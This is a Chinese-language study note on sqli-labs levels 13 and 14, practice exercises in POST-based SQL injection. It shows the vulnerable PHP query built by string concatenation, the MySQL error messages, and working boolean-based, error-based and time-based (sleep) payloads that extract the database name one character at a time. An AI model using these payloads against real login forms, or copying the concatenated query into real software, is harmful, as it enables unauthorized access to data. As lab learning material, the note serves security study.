本文记录 SQL 注入的学习过程,资料为 SQLi
Less - 13: POST - Double Injection - Single Quotes - with twist
测试漏洞
username 输入 admin' password 输入 任意内容
显示报错信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaa') LIMIT 0,1' at line 1
看到报错信息 ‘) 我们可以知道程序对 id 进行了 ‘) 的处理。
我们可以明显的看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。猜测数据库
post 数据: uname=admin')and left(database(),1)='s'#&passwd=aaa&submit=Submit # 得到第一位 s uname=admin')and left(database(),2)='se'#&passwd=aaa&submit=Submit # 得到前两位 se
依次可得数据库名称为 security
Less - 14: POST - Double Injection - Single Quotes - with twist
测试漏洞
username 输入 admin" password 输入 任意
提示错误信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaa" LIMIT 0,1' at line 1
可以看到报错了,那么我们知道了id 进行了” 的操作。
源代码
$uname='"'.$uname.'"'; $passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
报错注入猜版本号
uname=admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#&passwd=1&submit=Submit
结果显示 extractvalue() 函数不存在
教程上说 可以看到报错,显示版本信息延时注入猜数据库
post数据: uname=admin"and left(database(),1)='s'#&passwd=1&submit=Submit 或者延时注入: uname=admin"and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&passwd=1&submit=Submit # 得到第一位 s uname=admin"and left(database(),2)='se'#&passwd=aaa&submit=Submit # 得到前两位 se
依次可得数据库名称为 security